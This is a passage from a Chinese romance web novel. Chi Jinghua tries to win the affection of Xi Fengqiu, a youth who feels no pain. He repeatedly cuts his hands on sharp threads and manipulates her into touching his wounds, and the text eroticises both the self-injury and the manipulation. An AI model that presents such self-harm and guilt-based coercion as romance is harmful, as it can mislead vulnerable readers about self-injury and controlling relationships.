思绪逐渐发散,池镜花不自觉地又回想起昨夜的梦境,她下意识咬住唇瓣,脸颊一热,心跳又开始莫名加速,泛白的指尖用力捏住符咒,黄纸在她手中皱成一团。 尽管梦的内容实在离谱到没边,但她好像并不讨厌,甚至还想让奚逢秋对她的好感度再提升点。 按照前几次经验来看,像小太阳一样温暖他远远不够,若是想要获取他的好感度,还得再上点别的手段。 可是,她亲也亲了,抱也抱了,压也压了,好感度依旧没什么变化。 还要怎么弄? 池镜花对此毫无头绪。 一时间,她只能直愣愣地盯着被举起的符咒出神,半晌后,她像是意识到什么,赶紧把符咒收起压在枕头下。 不能再看了。 被他察觉又得吃醋了。 池镜花正准备睡觉,不承想甫一闭眼,脑海中忽然冒出个古怪的念头——应该不会再做春|梦了吧。 为防止自己胡思乱想,她索性直接蒙上被子,强迫自己入睡。 翌日,又是晴天。 窗户在半夜被风吹开,温暖日光投进房中,枝影在风中摇曳,时而悄悄爬上随风摇晃的帐幔,划过少女熟睡中的侧脸。 池镜花醒时已是中午,貌似睡得十分安慰。 也许正是因为到了自己所熟悉的地方。 池镜花火速收拾一番,打开门,没看见吴村长夫妇,倒发现奚逢秋过分安静乖巧,正坐在门口的木板上,一边观察白鹤吃着从溪流里捕到的鱼,一边耐心等她苏醒。 闻见动静,白鹤一口气吞下条鱼,转动圆溜的眼珠,好奇地歪头看过来。 少年也随之微微偏头,阳光下的皮肤是几近透明的白,点点金色日光落在他的眉睫,长睫震颤几下,露出个轻柔无害的笑。 “为何这次睡了这么久?” 池镜花紧挨着他坐下,双手轻轻抓住他的衣裳,挺直脊背,将唇瓣送到他耳边,深吸一口气,低声呢喃。 “告诉你个秘密,我小时候也是生活在这样的小 村子里,是和我爷爷奶奶还有小咕生活在一起。” 望着离自己近在咫尺的绯红色的唇瓣一张一合,他的目光不自觉地被此吸引,直到从池镜花口中蹦出一个他未听说过的名字。 奚逢秋缓慢掀开眸子,蓝紫色的双瞳倒映出少女的全部,视线慢悠悠划过她的脸颊和鼻尖,最终定格在少女明亮的眼睛上,语气稍显困惑。 “小咕是谁?” 池镜花实话实说:“是一只白色的小狗。” 池镜花自小家境普通,父母为了赚钱一直在城里打工,她就跟着爷爷奶奶生活在乡下,所以是留守儿童。 小咕是他爷爷从朋友家中抱养回来的一只串串小狗,池镜花第一次见到它时因口齿不清,误把“小狗”喊成“小咕”,结果小狗伸着舌头高兴地冲她摇尾,索性就这么一直叫着了。 她真的很喜欢它,哪怕已经离世很久也会时不时地想念它。 为了不让自己过分沉浸在过去,池镜花假咳两声,快速清除心中多余的情绪,将全部的注意力放在眼前之人上。 她仰头直直对上奚逢秋含着笑的双瞳,“我的意思是,我很喜欢这样的小村子,这让我感觉很怀念,所以才会睡这么久。” 奚逢秋微微笑着,心里忽然萌生出个念头——听她讲述她的过去煞有意思。 倒也不是说池镜花的过往有多么稀奇,祖父祖母和狗,平平无奇的配置,只是,莫名令他有种强烈的违和感。 池镜花,仿佛凭空多出的人,就像“平安县”一样,根本不存在于这个世间。 或许是他的错觉。 毕竟,她一直都在这。 很快奚逢秋敛起其他,只轻轻点了点头。 “原来是这样。” 池镜花不知他心中所想,眨了两下眼睛,又离他更近些,见他没什么闪躲的意思,索性再次几乎贴着他的耳廓,一字一句咬字清晰。 “再告诉你一个秘密。” “我小时候,家中前后都有池塘,里面种了很多莲花,每到夏天都会开花。” “我很……喜欢。” 最后“喜欢”二字,是她鼓足勇气才说出口的。 言罢,心脏又开始乱七八糟地乱跳,池镜花不动声色地抬头,神情期待地望着对方。 奚逢秋似乎笑得更厉害了。 “我现在越来越好奇你的家乡在什么地方了。” 不是,她说这么多是为了让他好奇她身世的吗? 难道重点不应该是她表达的“喜欢”二字吗? 虽然严格意义上来不能算表白,但池镜花总归是想通过打动他内心,继而提升点好感度,但他的关注点怎么完全跑偏了? 经过这次试探,池镜花确定件事。 普通的招数对他没用,还得想点别的法子,让他体会到被掌控被强制的感觉,才能撼动他的好感度。 池镜花在心里偷偷叹口气,独自消沉了会儿,而又抬起头,与专注观察自己的奚逢秋对上视线,骤然想起昨天下午在门口见到的兄弟俩。 “对了,昨天那对兄弟,你认识吗?” “不认识。” 日光坠入他的眼底,金与蓝交相辉映,瞳孔中梦幻般的碎光不停闪烁,奚逢秋望着她的眼神中满是不解。 “为何会这么问?” 池镜花轻轻地摇了摇头,“没什么,就是感觉你好像挺在意他们的。” 她无法用言语去形容这种“在意”,跟奚逢秋日常观察她时的情绪不太一样,仿若夹杂着某种危险的目的。 分明初次见面,谁也不认识谁,但冥冥之中,他们之间,似乎有着某种联系。 她不明白。 见她神色苦恼,奚逢秋不由对此产生好奇之心,微微歪了歪头,耳铛晃了一下,便贴着颈侧,冷白颈间仿佛被染得鲜红。 “你讨厌他们吗?” 池镜花不明所以地眨眼。 “没有啊,我又不认识他们。” 闻言,少年微微垂下鸦青色的睫羽,神色淡淡望向指尖不知不觉已生出的白丝,在太阳底下泛出银白色的古怪光芒。 下一刻,他不知想起什么,有些喃喃自语地重复着她说过的话。 “嗯,不认识。” 在白丝长出的瞬间,池镜花明确感受到他周遭四起的杀意。 虽不是冲着她的,但也并非什么好兆头。 而且大概率要搞事。 池镜花眼疾手快地“啪”地一下扯过他的白丝,牢牢攥在手里,用行动制止他那可能存在的某种危险想法。 不想,她这猛地一拉扯,锋利的白丝从他掌心抽离时,竟直接割破他的皮肤。 铁锈般的血腥味蔓延开来,奚逢秋指腹和掌心的灼灼血色猝然入目。 这是池镜花第二次不小心伤他了。 简直就是脆皮男配。 一瞬间,心提到嗓子眼,又像一块巨石,“噗通”一声,从山顶重重砸向平静的海底,溅起巨大的海浪,在黑暗中吞噬她多余的情绪。 池镜花一时慌了神,低着头,只顾着道歉。 “对不起对不起,我真不是故……”意的。 话未说完,她蓦然一顿,神情呆滞地慢慢摊开掌心。 相较于奚逢秋手上皮肉外翻可怖的伤口,她却什么事也没有。 池镜花适才恍然大悟。 少女仰着脸,睁着亮晶晶的黑眸,乌发在风中胡乱飞舞,咬了咬牙,几乎是以肯定地口吻得出结论。 “你是故意的!” “为什么?” 他的表情极为无辜天真,因为感受不到一丝痛楚而正微微笑着,因失血而脸色愈显病态。 “为什么觉得我是故意的?” 除了两人同时握住白丝却造成迥然不同的后果,池镜花找不出其他有力证据,况且,这也仅是她的猜测,若真要说的话,奚逢秋有一百种反驳的理由。 比如:巧合。 池镜花虽无法找到证据,但绝不会猜错。 “你就是故意的!” 话里话外,她已笃定他的目的。 见状,少年微微弯起双眸,如沐春风般温润地笑了笑,长睫落在脸颊的月牙晃了一下,他轻轻点了点脑袋,坦然承认一切。 “嗯,我是。” 啊啊啊啊啊啊啊啊啊!!! 知道他不正常,没想到他能疯到这种地步。 为了体会疼痛,居然给她下套,引她故意给自己弄出伤口。 无非是想让她碰他。 虽然她向来不反感与他接触,但以这种方式真的叫人很不舒服。 池镜花平日再好说话,但也是个有脾气的人,哪能他想要什么就给什么。 “我不会……” 话说一半,奚逢秋蓦然靠近半分,脑袋微垂,冰凉的额头轻轻抵着少女的肩,敏感的身体止不住颤抖,完全以下位者的姿态低声祈求着。 “帮帮我……” “或者,你想亲自动手。” 并非被动,而是主动给予他伤口。 也未尝不可。 第52章 第52章加深对她的渴望。 不知何时起了风,淡淡清香混着浓烈的血腥,如一条虚幻的透明发带轻轻荡在四周。 少女在风中肆意飞扬的柔软发丝软弱无力地搭上少年的肩,若有似无地划过他的颈侧,顺着衣领紧贴他的锁骨滑进更深处。 “不行。” 听明白他在说什么的池镜花毫不犹豫,拒绝得斩钉截铁。 日光下的枝叶随风身姿摇晃,少年脸颊一侧的不规则黑影微微颤抖,他不羞不恼,平静双瞳倒映着少女微微发怒的神情,静静凝视着她,面带温和的笑。 “为何?” 池镜花仰头微微睁大眼睛,咬了咬牙,心中怒火未消。 “因为你是故意的,我不喜欢这样。” 见她余怒尚在,奚逢秋模样乖巧地应了声,轻轻扯住白丝的另一端,旨在令池镜花清晰感受到自己的存在。 鲜红血珠缓慢滑至绷直的白丝中间,沿路留下扎眼的痕迹,最后顺势滴落,于浅白的衣间开出一朵绚烂的花。 他微微笑着,日光下的昳丽五官格外吸睛,眉眼潜着温柔的笑,字字句句像在刻意诱导她一般。 “其实,你也可以自己动手的。” 自己动手…… 听到这几个字的池镜花呼吸一滞,指尖一颤,有种异样的情绪在心间逐渐蔓延,莫名记起在金德镇自己一不小心划破他的脸颊一事。 可她的本意并非要伤他。 以前不清楚,但自从让他感受到 疼痛以后,他现在一定喜欢上了这种感觉,所以才想让她动手。 没等池镜花做出抉择,忽而听见奚逢秋轻笑一声,笑声轻轻慢慢地,在少女沉寂的心间荡漾起一圈圈细小的涟漪。 “若是由你主动,或许会比刚才更有意思。” “我很期待。” ……怎么感觉他在逗猫啊? 那好歹给根逗猫棒啊! 还是说,她只是他追求痛楚的工具? 池镜花迟钝地眨眼,顿时,胸腔怒火烧得更旺。 “绝无可能!” 虽然池镜花的任务是攻略男配,在与他的相处中,慢慢地,也十分乐意做一些令他感到愉快舒服的举动,但若是这种恶劣的下套行为,她并非毫无底线。 至少,她暂时一点不想让他得到自己想要的。 “奚逢秋,我不会碰你,更不会伤你,你别想了。” 她一口气阐明自己的坚定立场,顺带伸手理了下胡乱飞舞的发丝,身体往旁边挪动,刻意与他拉开些距离,微微垂头,盯着脚下,完全不想去看他。 相较于池镜花,奚逢秋情绪没有太大波澜,微微侧头望着少女白皙侧脸,漂亮如画的眉眼含着清浅的笑意。 沉默了会儿,池镜花忍不住偷偷转头。 下一刻,他们在灿烂的天空下四目相对。 温暖的日光铺洒在少年的面颊,他微微弯了弯双眸,耳铛从池镜花眼前晃过,看上去脾气好得不行。 她又慌乱地移开视线,暗暗责怪自己沉不住气。 就在此时,门口传来极为缓慢的脚步声,不多时,昨日出现在门口的那对兄弟来至吴家门口。 两人鬼鬼祟祟,探头探脑地朝里面张望几下,见家中有人,便直接推门进来了。 池镜花回过神,立马起身叫住两人。 “你们有事吗?” 那两人一路绕过菜园来到他们跟前,悻悻行了个礼,其中一人挠了挠右脸的旧伤疤,微微弯腰笑着解释:“我叫庞三,这是我哥庞二,姑娘放心,我们没有恶意,只是想问下二位是不是真要替村子捉妖?” 池镜花如实点了点头,“嗯,是这样的。” 听见这话,两人对了个眼神,顿时,皆喜笑颜开。 接着,庞二抱拳笑问:“那敢问二位仙师尊姓大名?” 池镜花想到吴村长交代的话,本不愿与他们有交集,但考虑若是给个假名字,他们只要问吴村长夫妇就会露馅,干脆直接告诉对方真实姓名,省的日后麻烦。 等她说完,轮到奚逢秋时,池镜花转头看向身后,朝他眨了两下眼睛,示意他赶紧说完姓名,好把他们打发走。 奚逢秋没在看他们,而是脑袋微垂,将锋利如刀的白丝一圈圈地缠在自己的指尖,任由其割破皮肤,汩汩鲜血顺流而下,很快染红身下衣裳。 看上去不大高兴的样子。 但池镜花完全不知道哪里又惹到他了。 耳畔风声簌簌,池镜花耐心等了会儿,只见他缓慢抬眸,唇角依旧扬起,眼底浮现出病态偏执的笑,仿佛下一刻,会操纵这些丝线将自己与她死死绑在一起。 “你不愿喊我了吗?” 搞半天原来因为这个。 池镜花简直哭笑不得,“奚逢秋,他叫奚逢秋!” 庞氏兄弟显然不曾察觉到两人之间微妙的气氛变化。 “原来如此,我们记下了。” “既然二位仙师是为了村子出力,日后若是有用得着我们兄弟二人的地方,知会一声就行。” 他们说得实在动听,但池镜花只含糊地应了一声,不愿与他们有所牵扯。 随后,两人一前一后地离开了,正如他们所说的那般,没有任何恶意。 似乎就只是为了打听一下他们的身份和姓名。 但池镜花心里总觉得有种说不上来的怪异。 思考间,裹着花香的血腥味更浓,争先恐后地往池镜花鼻间里钻,回过头,发现是奚逢秋伤口因没有得到及时救治,血迹浸透身下一大片,自然垂落的修长指尖呈以透明的白。 入目皆是血色,她心间猛地一颤,张了张口,正想说些什么,却看见奚逢秋起身从她身侧径直走过。 在庞氏兄弟离开后,他似乎也要出门。 池镜花下意识“啪”地一下抓住他染血的衣袖,牢牢攥在手心,生怕他离自己而去。 奚逢秋淡淡回眸,望见少女因紧张咬住下嘴唇的表情,心中已有定论。 “是怕我对他们做什么吗?” 他的声音力极为平缓,叫人辨不清真实情绪如何。 池镜花拼命摇头。 虽然她也担心这个,但这从来不是重点。 她垂下眼眸,睫羽微微打颤,视线紧盯着少年还在滴血的指尖,盈在鼻腔的血腥仿佛一只控制她心脏的无形大手,就连呼吸也变得困难。 “不是,你受伤了,还是先处理一下伤口吧。” 闻言,奚逢秋看见自己指尖流淌的鲜血“啪嗒”砸向地面,很快混进泥土,只在空气中留下铁锈的气味。 可是一点也不疼。 嗯,就跟从前一样。 少年立于明媚的阳光下,微不可察地扬起唇畔,声音格外平静与温柔,语气中却透露出难以遮掩的疯狂。 “没关系的。” “我有关系。” 池镜花直直地仰起头,阳光直|直射进瞳孔,意识尚未反应过来,她已用尽全部力气“啪”地一下拽住他的手腕。 “我在乎,奚逢秋,我在乎你!” 她的声音很大,几乎是用喊的,也是表达情绪的一种方式。 似是没想到她反应会这么大,奚逢秋愣了愣,直到感受到手腕传来的温度,不由地轻笑一声,微微歪头时的耳铛划过苍白的颈侧。 “不是不会碰我吗?” 池镜花低头瞥了一眼。 隔着微凉的单薄布料,她其实并没有直接碰到他。 她立马仰头据理力争:“我没有碰到你的伤口。” “嗯,没有碰到。” 他轻轻点着头,低声重复她的话语。 从他的种种表现来看,他应是真的期待她能够碰他,明明他有很多手段令她屈服,最有用的就是武力威胁,但他没有这样做。 不知是他不屑为之还是故意的。 但他似乎总是擅长于用外表和天真无辜的表情来拿捏她。 池镜花以前总是因此妥协,这一次,她万万不想重蹈覆辙。 不过,有一点除外。 不知怎地,池镜花突然萌发个大胆的念头。 念及此,少女下定决心慢慢地探出指尖,在他目光的注视下,轻轻地碰了一下他的伤口,指腹甫一接触到温热的鲜血,又即刻缩回。 毕竟,碰他从不是目的。 ——她想要他加深对自己的渴望。 只有这样,最后的接触才更有意义。 第53章 第53章别说话了。 池镜花只碰他一秒。 饮鸩止渴,点到为止。 果不其然,当她甫一他的伤口血肉,奚逢秋整个人先是一怔,而后冰凉的指尖止不住蜷缩一下,本能地想要追逐少女指尖离开的残影,却是徒劳。 疼痛与温热转瞬即逝,仅留下片刻的欢愉也即将消失。 他并未满足。 少年眼眸低垂,日光下渡着金色的细小颗粒纷飞不止,轻轻落在他的睫羽,随之微微震颤又缓缓抖落。 他盯向指腹晕开的刺目血迹,垂在身后的墨发轻轻扬起,低缓的声音满是疑惑。 “只是这样吗?” 池镜花神情坚定地点头,双手不自觉地交叠着背向身后,又倒退一步,完全与他拉开距离。 “嗯,对,只是这样。” 听她所言,奚逢秋慢慢放下受伤的手臂,滚烫的血珠顺着指尖缓慢滴落,视线一点点游离至她的白皙的脸颊,唇边隐隐含着浅笑,表情看着平静稳定,却不知在想些什么。 “嗯,我知道了。” 见他轻轻点头煞是乖巧的模样,池镜花以为他想开了,但又觉得哪里不对劲。 池镜花仔细回想与他 相识后发生的一切,蓦然记起他在金德镇故意引诱她饮下自己的血一事。 同理,若他真想叫她触碰自己的话,肯定会想尽办法让她主动的,哪怕不惜惹恼她也要达成目的,就跟上次一样。 池镜花觉得自己定力不够,尤其是在面对自己这么喜欢的一张脸,若是几次三番赤|裸|裸的诱惑,可能很快就会彻底败下阵来。 念及此,她顿时脸色骤变,紧张地后撤好几步,差点不小心踩上衣裙摔倒,幸好最后稳住了。 察觉到她毫无规章的剧烈心跳,奚逢秋不由好奇垂眸,微微歪过脑袋,言语间充斥着数不尽的关切与温柔。 “怎么了?” 哪怕内心再慌张,池镜花面上也极力保持镇定,她轻轻摇头,神色淡定道:“没什么,纱布在我房间里,你自己处理一下伤口,我有点饿,先去吃饭了。” 快速丢下一句话,欲转身离开时,池镜花忍不住又看一眼他受伤滴血的如玉指尖,心房胡乱一颤,咬了咬红润的唇瓣,狠心逃了。 凝望少女落荒而逃的浅蓝背影,奚逢秋眉眼弯弯,不由笑了一声,声音极轻,很快消散于午后的瑟瑟秋风中。 “真的好聪明。” 他明白,有过上次的经验,池镜花似乎已不会再轻易咬他故意设下的诱饵了。 她本就聪明,想到这个不意外。 只是…… 奚逢秋抬手摊开五指,日光照耀下的掌心血迹斑驳,未凝结的血珠倒映出模糊的叶影,白丝所造成的伤口纵横交错毫无章法,却无一例外都不疼。 所以,他真的很想池镜花能够碰一碰自己。 当然,并非勉强,因为这将少了很多乐趣。 池镜花不知他所想,不急不躁地边吃饭边思考应对之策。 既然与他在一起是必须的,那她就要学会跟他保持距离,不能被他牵着鼻子走,最后,再出其不意地满足他一下。 毕竟,她做不到一直不碰他。 而且,万一能涨点好感度呢。 池镜花在心中盘算好未来的计划,随后便无力地趴在桌子上,眼皮愈发沉重,感觉有些晕碳,挣扎几下,便彻底阖上了。 迷迷糊糊之中,有个熟悉的人影朝她慢慢慢步走来,将少女完全笼罩在自己的阴暗下。 睡梦里,仿佛有股不同寻常的冰凉悄悄爬上她的脊背,一层层撩开她轻薄的衣衫,贴着她温热的肌肤,慢慢滑至纤弱的颈侧,轻轻抚摸她的面颊,又轻柔地舔舐她柔软的唇瓣。 毫不节制。 既窒息又沉溺。 池镜花猝然惊醒,睁眼惊魂未定,却发现奚逢秋一言不发坐在她身边,也不知究竟观察她多长时间,但天还早,应该不到一个时辰。 从门口照进的一抹阳光悄然攀至少年衣袂一角,面上挂着明媚温柔的笑容,手上的伤口显然被处理过,以浅白色的纱布缠绕着。 “要出去走走吗?” 池镜花刚醒,神智有些不清晰,听见他说话,只是下意识地问道:“怎么突然想要出门?” “你不是喜欢这里吗?” 奚逢秋神色一如往常,没有太大的情绪波动,“难道不想出去走走吗?” 他说得没错。 因为不知道什么时候会下雨,若是一直待在这里会闷死的。 池镜花犹豫着点了点头。 虽说同意与他一道出门,但当走在邑水村的小道上,枯黄而凌乱的杂草划过一白一蓝的二人衣摆,池镜花故意离他很远,远到路人根本不会意识到他们原来是一起的。 深秋的桂花开了又谢,空气中飘来淡淡香气。 她有些心虚地四处张望,心思已不在观赏风景村落秀丽的风景上,只在考虑绝不能让奚逢秋看出自己的异样。 奇怪的是,奚逢秋什么也没说,更没有做出任何引诱诱惑她的行为,甚至看着比平时还要更显安静乖巧。 简直匪夷所思。 池镜花不禁开始怀疑,是不是她在以小人之心度君子之腹? 思考间,奚逢秋忽地顿住脚步,回首望向离自己越来越远的少女,见她脑袋微垂,不知在想些什么。 “在想什么?” 声音从不远处徐徐飘来,一溜烟似的钻进池镜花耳中,不经意地随意搅动她平常的心跳。 “没想什么。” 意识到自己脚步越来越慢,已落后于他一大截后,池镜花像条小尾巴似的迅速追上他,站在他的漆黑的影子下,却又清醒地与他保持在安全距离范围内。 这样,就算他真有什么动作,她也好及时远离。 但他没有。 少年立在巨树下,身影略显清瘦,肩上沾着的一片落叶被风吹跑,斜阳透过枝叶洒在他的衣间,飘动的树影恍如陆离斑驳的水下世界。 两人之间隔着一定的距离,从池镜花身后吹拂而来的微风将耳侧的发丝无意卷到他身上,黏着他的肩胛。 他主动摊开受伤的右手,只见浅白纱布上有颗红色的小果实,不知从哪摘下的。 “吃吗?” 一举一动都在耐心地征求她的意见,仿佛绝不会不顾她的感受。 池镜花瞥了一眼,有些疑惑地抬起清澈的双眸。 “野果?” “嗯,要吃吗?” 奚逢秋轻轻点头,模样纯良无害,投在颈侧的细长阴影不停摇曳,忽然间,不知想到什么,他像是被逗乐一般笑了笑。 “不过,也许有毒。” 嗯,没有毒。 池镜花听出来了,他在故意恐吓她。 他似乎总喜欢这样。 难道看她惊恐害怕是什么很有意思的事情吗? 池镜花偏不想让他如愿。 “哦。” 她面不改色地从他手里接过野果,不曾想,指腹不小心剐蹭到纱布,隔着纱布,仿佛被那股血腥拼命缠上,一时间,令她有些恍惚。 回过神来的池镜花当做什么事也没发生过,毫不犹豫地将红色野果塞进嘴里,牙齿轻咬了下。 ——酸! 酸得池镜花忍不住想要当场吐掉,然后猛猛灌水,但她忍住了,毕竟不能当面给人难堪。 但代价是她忍不住握住拳头,浑身蓦地颤了一下,有种在一瞬间唤醒所有细胞和神经的错觉。 她低头舔了舔唇,默默彻底消化口腔里的酸,逼退眼底的泪花,才仰起头,神情自若,再也看不出差点被酸到掉眼泪的样子。 “好了,吃完了。” 不知怎地,奚逢秋的目光不可避免地被她湿润且泛着些许红意的唇瓣所吸引,哪怕立刻想到她说过不会再亲自己,也没做什么,只是点头应了声。 微风轻拂少年衣袂,将他身上的香气吹至池镜花四周,化成一条无形长钩,若有似无地探进少女的呼吸和心跳。 他再次缓慢摊开掌心,还是一颗红色的野果,孤立无助地躺在纱布中央。 “那要再来一颗吗?” 池镜花又看一眼。 当然,最先注意到的还是奚逢秋的指尖,纱布没怎么包扎好,留有几道显眼的伤口还暴露在外。 池镜花故意偏过头,眼神飘向他身后粗壮的树干。 “不要,太酸了,吃不下。” “嗯,好。” 哪怕被无情拒绝,奚逢秋也没有太大反应,只是轻轻握住五指,任其自然垂下,鸦黑睫羽轻轻颤动几下。 晚霞满天,余晖璀璨,勾出碧蓝天空的轮廓。 落叶簌簌又飘下几片。 视线一晃,池镜花回过神,眨了下眼睛,忍不住扭头看他。 不是看不懂他,而是看不清自己。 身体的异样可以很快消失,可她心里却始终犹如筑起一道大坝,只要堆积的洪水一日无法泄出堵在胸腔,她就愈发难受。 一切都是因为他受伤的右手。 再这样下去,她怕是自己就要忍不住满足他了。 “我想回去了。” 池镜花故意退后几步,转过身背对着他,想要快些离开。 比起与他保持距离,还是一个人待着最为稳妥。 她正要急匆匆地迈开步伐,掌心忽然传来一阵冰凉的痒意,池镜花不解回头,发现是奚逢秋往她手心里塞一颗紫红色的野果。 凉是因为野果,而痒是因为粗糙的纱布蹭到了她的指尖。 奚逢秋望着她露出温温柔柔清浅的笑。 “没关系,是甜的。” 顷刻间,大坝轰然倒塌,洪水肆意冲刷着躯体每一处,从肢体的缝隙中抽出积压许久的剧烈情绪。 没等她反应过来,池镜花已不受控制般的“啪”地一下握住他的手指。 知道他即将会说什么,她直接一个箭步冲上去,炽热的身躯挨着他的,先一步捂住他的嘴巴。 “别说话了。” 或许,她很清楚自己为何如此奇怪。 跟上一次直接引诱不同,他这回是故意在她面前展露自己伤口和纱布,假乖巧,扮可怜,无非是想利用她的负罪感达成他自己的目的。 那么很好,他成功了。 即便不是引诱,他也成功了。 哪怕池镜花分明猜到他的用意,可还是抑制不住地想要满足他的小癖好。 随便他想怎么做都行。 十分乐意。 第54章 第54章跨坐在他的腰腹上。 月明星稀,冷风簌簌,四周寂静只闻风声,溶溶月色,枝叶的模糊影子如流动的沙画不停穿梭在二人摆动的衣间。 池镜花拉着他一路横冲直撞,本计划直接回吴家,却不知怎地,直到弯月顶了太阳的班,也没能找到正确的道路。 她分明记得就只有一条路的。 不过也有可能是方才分神记岔了。 总之,她好像迷路了。 因被她警告过一次,奚逢秋一直没怎么开口。 他微微垂眸望着少女在月下泛着朦胧光辉的葱白指尖,情绪莫名得到很好的安抚,他慢慢勾起唇角,不经意地露出个温和的笑。 直到发现池镜花茫然无措地站在岔路口,似乎不知该往哪走,他才轻轻慢慢地开口询问,声音夹杂着微风,轻轻荡过少女的面颊,落在她的耳蜗里。 “是迷路了吗?” “没有,我故意的。” 这么丢脸的事情池镜花不愿承认。 “嗯,故意的。” 奚逢秋并未反驳,只低声重复她说过的话,继而垂眸看向他们身下纠缠拉扯的衣袂,当池镜花被风扬起的发丝不经意地拂过他的指尖,被他本能地轻轻勾缠住。 月华倾泻如注,穿过枝叶的缝隙,直直地铺洒在地面,连路边的杂草镀上一层银白色的月光。 可池镜花实在不知该往哪个方向走,她东张西望,左右为难,思忖片刻,终于拿定主意。 “走这边。” 她毫不犹豫地拽着他往右边走,那里是幽暗僻静的竹林。 池镜花觉得,回不回去都一样,反正都是要触碰他,不如选个人少不会被打扰的地方。 为了深刻践行这一原则,池镜花一声不吭地带着他一道往竹林的最深处而去,又怕迷路,不得不在心中默默记下来时的路线。 淡蓝色的裙摆一路拂过道路两旁低矮的杂草荆棘,无意间染上草汁的青绿色,留下点点痕迹。 池镜花对此毫无察觉。 她霸道地将奚逢秋按在竹树下坐着,以厚厚一层的竹叶为席。 月色浓稠,竹影婆娑,二人并排而坐。 接着,池镜花又拉过他受伤的右手,指腹轻轻划过他的松松垮垮的凌乱纱布,想到隐在纱布下斑驳的伤痕,心脏又不受控制地抽搐一下。 “我帮你解开吧。” 奚逢秋轻应了声,他慢慢垂下视线,蓝紫色的瞳孔倒映出少女浓而卷长的乌睫,又观察了下她玲珑清秀的鼻尖,蓦地弯了弯唇。 “池镜花,真的很好说话。” 池镜花指尖一顿,缓慢抬头。 月光映照下的少年五官仿佛蒙上一层朦胧的纱布,眉眼愈发温柔,耳侧的耳铛倒映出月钩的的形状,深海般的双瞳偏偏只装下她一个人的身影。 池镜花深吸一口气以平复悸动的心跳,一字一句毫无隐瞒,皆发自肺腑。 “可我还是很生气。” 浅浅的笑意并未从他面上消失,奚逢秋只垂眸望向少女自然垂下的蜷曲指尖,无比期待她接下来的触碰。 可同样的,等待的时间十分难熬。 不过,比起强迫,他更愿意这样。 他复又抬眸,点点月光照亮双眸,他眼底笑意更甚,已掩盖瞬息即逝的所有情绪。 “那为何还愿碰我?” “因为我同样很内疚。” 池镜花答得很快,殷红的唇一张一合,眼底星光闪烁,神情无比认真,毫不掩饰自己的真情实感。 “我知道,你故意让我看见你的伤口是在博取我的同情心,奚逢秋,你赢了,对,我心疼你,很心疼,特别心疼!” 正因如此,她才会忍不住地想要满足他、弥补他。 而且,这对她来说不是什么难事,她只是气恼奚逢秋总是给她设套。 下一刻,少女登时握住他的手指,报复性地狠狠捏住他指尖的伤口。 尽管清楚这对于男配来说更是一种来之不易的奖励,但池镜花只能做到如此。 她很是气恼奚逢秋总是有意无意地给她设套,就算他不这么做,哪怕他坦诚布公地直接说,她也不会抗拒与他亲近。 难道是她没能让他明白自己的心意吗? 池镜花不禁有些怀疑,是不是自己的情感表达得过于隐晦。 少女疑惑地抬眸望过去。 微凉的夜风轻拂,吹散少年身后墨发,他脑袋低垂,睫羽不停颤动,视线一错不错地盯着二人相触的指尖肌肤。 刹那间,这种肌肤相触的奇妙感觉融进滚烫的血液,顺着血管迅速盈满身体四肢,化为兴奋源头,不断挑逗进犯他的呼吸与心跳。 疼。 好疼。 终于又体会到这种极致的痛。 可除了这个,似乎还有种极为奇怪的热意在躯体四溢。 他无法自我降温,只能遵循本能地抓住她,可是,光是严丝合缝与她牵手已无法满足他内心的沟壑,他想要自己的遍体血肉与她融为一体,渴望被她不停抚摸,一遍遍感受她所带来的疼痛与温暖。 当生理体会到难以自拔的高|潮与兴奋,身体便止不住轻轻颤抖,慢慢地,一点点地不自觉地朝她靠近,渴盼得到她的一切,只有她。 奚逢秋完全不明白自己为何会这样。 回过神来,他的左手已轻柔抚上少女冰凉的后颈,额头朝她慢慢探去,直到紧贴着那足以令自己快速冷却的凉意,却有道电流极速传遍全身,无形放大自身对她的渴欲。 池镜花却在逐渐收拢力气。 因为她意外发现,每次碰他的伤口,奚逢秋的反应都要比上次更大,身上所漫出的香气似要将她淹没,叫她无意识地沉溺其中。 而且不知怎地,当听见少年喉咙溢出的微弱喘|息声,望见少年眼底划过的难以窥见欲念时,池镜花只觉耳根微微发烫,再次记起好不容易快要忘记的香艳春|梦。 分 明只是简单牵个手而已,连亲都没亲,怎么莫名染上了情|色的味道。 她默默摈弃脑袋里的颜色废料,专心处理眼前事,一点点将指尖施加的力气抽回。 察觉到她的小动作,奚逢秋身体蓦地一怔,缓慢抬起氤氲着蓝色雾气的双眸,一眨不眨地直视少女的眼睛,借此探究她的内心想法。 “不继续了吗?” 不是不继续,而是不打算持续给予他欢愉。 池镜花摇了摇头,压下心中波澜壮阔的某种情绪。 “在继续碰你之前,我有个问题想问你。” 少年不语,只安静等待她的提问。 刺骨的秋风一遍遍从两人耳畔呼啸而过,掩盖住彼此剧烈的心跳声,四周气温攀升而不知原因,靠近的两人暧昧地交换着同一片空气。 仿佛被他炽热的体温所灼伤,池镜花脸颊温度渐起,张合的湿润唇瓣红得滴血。 “你为什么喜欢疼痛?” “因为会让我觉得很高兴、身体上也会很兴奋。” 说话时,他神情不改,完全不加掩饰地阐述着他变态的爱好,最后,他又轻轻笑了一声,主动握了握她的手指,贴着她的肌肤,从她身上汲取令自己愉悦的一切。 “就像现在这样,你碰我,我很高兴,而且,还有种活着的感觉。” 活着的感觉? 难道说,因为体会不到痛,所以他从不觉得自己是活着的? 这是池镜花根据他的话语得出的结论。 那他身上所一直弥漫着的淡淡死感也是来源于此吗? 池镜花不清楚,却十分想要了解他的一切。 “池镜花。” 正思考着,奚逢秋轻轻唤了她一声姓名。 少年清冽动听的嗓音如毛绒绒的逗猫棒不停剐蹭她的耳膜,顺利挤进她的耳蜗,毫不经意叩击少女的心脏。 池镜花缓过神,对上奚逢秋温温柔柔的笑,只见他眼睫轻颤,薄唇微启,又是一句几近讨好的话语。 “再多碰碰我吧。” 池镜花知道自己根本没定力拒绝他,索性不与他绕圈子。 “等等,我还有一句话要说。” 在彻底满足他之前,池镜花得确保自己的心意完整地传达给他,毕竟,他不是每天都这样好说话。 模糊的竹影在二人衣间流连摇曳,交织出一副的清新淡雅的山水画。 月下气氛暧昧旖旎,仿佛有根透明细长的线将二人牢牢拴在一起打个死结。 池镜花目不转睛地盯着他的脸颊,拼命按住自己狂乱的心跳,深吸一口凉气,倾身靠近,发丝搭上他的肩,几乎是贴着他的耳尖轻轻吐纳气息。 “奚逢秋,我从未抗拒你的触碰,你若是想要我碰你,随时都可以,所以,你今后能不能别再一声不吭地做这种伤害自己的事情?” 